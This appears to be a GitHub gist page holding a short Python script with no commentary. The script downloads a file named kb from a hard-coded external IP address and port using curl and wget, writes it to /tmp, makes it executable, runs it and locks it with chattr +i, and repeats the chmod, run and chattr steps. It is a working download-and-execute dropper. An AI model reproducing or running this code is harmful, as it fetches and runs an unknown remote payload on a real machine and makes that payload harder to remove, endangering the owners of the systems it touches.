Skip to content

Instantly share code, notes, and snippets.

@liammclennan
Created October 19, 2016 01:25
Show Gist options
  • Save liammclennan/5aa7c70230bd004d2ccc9ddcd5816be6 to your computer and use it in GitHub Desktop.
Save liammclennan/5aa7c70230bd004d2ccc9ddcd5816be6 to your computer and use it in GitHub Desktop.
import os
def down_exec():
cmd = 'curl http://60.191.187.18:667/kb>/tmp/kb'
p = os.system(cmd)
cmd = 'wget -O /tmp/kb http://60.191.187.18:667/kb'
p = os.system(cmd)
cmd = 'chmod 0777 /tmp/kb'
p = os.system(cmd)
cmd = 'chmod u+x /tmp/kb'
p = os.system(cmd)
cmd = '/tmp/kb'
p = os.system(cmd)
cmd = 'chattr +i /tmp/kb'
p = os.system(cmd)
cmd = 'chmod 0777 /tmp/kb'
p = os.system(cmd)
cmd = 'chmod u+x /tmp/kb'
p = os.system(cmd)
cmd = '/tmp/kb'
p = os.system(cmd)
cmd = 'chattr +i /tmp/kb'
p = os.system(cmd)
if __name__ == '__main__':
down_exec()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment